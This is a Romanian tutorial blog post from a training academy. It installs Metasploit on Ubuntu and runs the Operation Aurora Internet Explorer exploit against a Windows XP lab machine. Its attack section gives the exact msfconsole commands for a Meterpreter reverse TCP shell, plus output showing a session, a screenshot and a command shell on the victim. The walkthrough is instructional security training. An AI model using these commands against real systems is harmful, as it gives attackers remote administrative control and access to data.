Cum se compromite un sistem – (demo metasploit)

Disclaimer: toate informatiile din acest articol sunt prezentate din perspectiva didactica pentru un Security Network Engineer. Exemplele se pot testa doar pe propriile sisteme informatice. Autorul sau Crystal Mind Academy nu-si asuma responsabilitatea eventualelor incidende de securitate rezultate in urma testarii celor prezentate. Intreaga responsabilitate este a celui care instaleaza si testeaza programele prezentate.

 

Cu siguranta multi v-ati intrebat ce inseamna de fapt un calculator compromis? Cat de grava este o vulnerabilitate, un bug? Chiar este important sa avem toate update-urile instalate la zi?

Cum poate o grupare de hackeri sa controleze zeci de mii de calculatoare de pe care sa lanseze atacuri DDoS asupra marilor site-uri precum Google, Facebook sau Nasa?

 

In randurile de mai jos va voi prezenta un exploit pentru o foarte grava vulnerabilitate din Internet Explorer (IE), vulnerabilitate care la vremea respectiva a facut ravagii in intreaga lume.

Atacul (numit Aurora Operation), extrem de sofisticat, a targetat mari corporatii precum Google si Adobe, iar pagubele au fost imense. Exploitul a beneficiat de o vulnerabilitate de tipul heap overflow din IE (de care, dupa cum s-a dovenit ulterior Microsoft ar fi stiut de mai multe luni).

Detalii:

http://en.wikipedia.org/wiki/Operation_Aurora

http://www.wired.com/2010/01/operation-aurora/

 

Cateva clarificari:

– o vulnerabilitate (un bug) este o eroare de programare care face ca aplicatia sa se comporte altfel decat a intentionat programatorul;

– un patch sau un update reprezinta o noua varianta a programului in care bug-ul a fost acoperit, rezolvat. O vulnerabilitate pentru care nu exista niciun patch se numeste 0-day (zero day) vulnerability;

– un exploit este un program sau o serie de comenzi care beneficiaza sau exploateaza o anumita vulnerabilitate;

metasploit reprezinta un framework (scris in Ruby on Rails) pentru scrierea de exploituri si testarea acestora intr-un mod standardizat. Se foloseste in primul rand de catre specialistii in securitatea informatiei, dar poate fi folosit si de catre black hat hackers;

 

Va voi prezenta instalarea metasploit pe Ubuntu Server 14.04 si apoi executarea exploitului impotriva unui Windows XP cu IE vulneratbil.

 

I. Metasploit

 

1. Instalare metasploit

sudo apt-get install ruby1.9.1 build-essential

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run

chmod +x metasploit-latest-linux-x64-installer.run

sudo ./metasploit-latest-linux-x64-installer.run

 

Daca folosim o distributie pe 32 biti atunci trebuie:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x32-installer.run

chmod +x metasploit-latest-linux-x32-installer.run

sudo ./metasploit-latest-linux-x32-installer.run

 

Directorul in care se instaleaza este /opt/metasploit

Avem de asemenea posibilitatea de a porni metasploit ca serviciu la butare sau manual cand dorim (Atentie, metasploit este mare consumator de resurse!).

 

Pt. pornire/oprire/restart manual:

sudo /etc/init.d/metasploit <start|stop|restart>

2. Inregistrare metasploit

Dupa instalarea trebuie inregistrat metasploit folosind o cheie de activare care se primeste de la producator.

Exista varianta community (free) si varianta professional (nu e gratis). Pentru cele mai multe teste si demonstratii varianta community este suficienta.

Pt. a primi activation key se viziteaza adresa  https://localhost:3790 folosind browserul preferat si se urmeaza instructiunile (intregul proces de activare dureaza circa 5 minute).

 

3. Optional: update exploit database

Dupa instalare se recomanda actualizarea bazei de date cu exploituri (procesul metasploit a fost deja pornit). Metasploit contine si foloseste Postgree Sql.

 

cd /opt/metasploit

msfupdate 

 

4. Pornire consola metasploit

Metasploit foloseste propria consola de unde se pot executa exploituri sau testa anumite functionalitati.

cd /opt/metasploit

msfconsole

 

II. Executare exploit asupra IE folosind metasploit

 

Cateva detalii:

– intre hostul care ruleaza metasploit si hostul vulnerabil trebuie sa existe conectivitate IP (ping); In acest exemplu Windows XP va rula in masina virtuala;

– metasploit va porni propriul serverul web la care se va conecta IE. In momentul in care se va conecta, serverul ii va trimite o serie de date astfel modificate incat IE va executa cod si va returna atacatorului un shell numit reverse shell. Acesta va avea acces total cu drepturi de administrator pe sistemul compromis. Va putea instala alte programe sau virusi, va putea ataca alte retele, va putea copia sau sterge date, va putea reveni oricand (position consolidation).

* cu albastru comenzile care trebuie executate;

cd /opt/metasploit

msfconsole

msf>show exploits

msf > use exploit/windows/browser/ms10_002_aurora

msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ie_aurora) > set LHOST SERVER_HOST_IP (SERVER_HOST_IP este IP-ul serverului. Ex: set 192.168.0.34)

msf exploit(ie_aurora) > set URIPATH /

msf exploit(ie_aurora) > exploit

 

[*] Exploit running as background job.

[*] Started reverse handler on port 4444

[*] Local IP: http://192.168.0.151:8080/

[*] Server started.

In acest moment serverul web a pornit pe hostul care ruleaza metasploit (pe portul 8080, cofigurabil), iar IE trebuie sa se conecteze.

Dupa conectare IE la server in consola metasploit:

[*] Sending stage (723456 bytes)

[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)

msf exploit(ie_aurora) > sessions -i 1

[*] Starting interaction with 1…

meterpreter > getuid

Server username: WINXP\Developer

meterpreter > use espia

Loading extension espia…success.

meterpreter > screenshot aurora.bmp

meterpreter > shell

Process 892 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>

 

Download demonstratie video. – se poate vizualiza direct in browser (este necesar un plugin) sau cu VLC dupa download.

 

Vrei sa inveti mai multe despre securitatea informatiei, moduri de atac si de preventie? Vino la cursurile de Networking (Cisco CCNA, CCNP Security, CCNP, Linux Administration, Advanced Linux & Infosec etc) pe care le organizam!

Traineri entuziasti si foarte bine pregatiti profesional te vor introduce in tainele sistemelor de operare, a retelelor si a securitatii informatiei!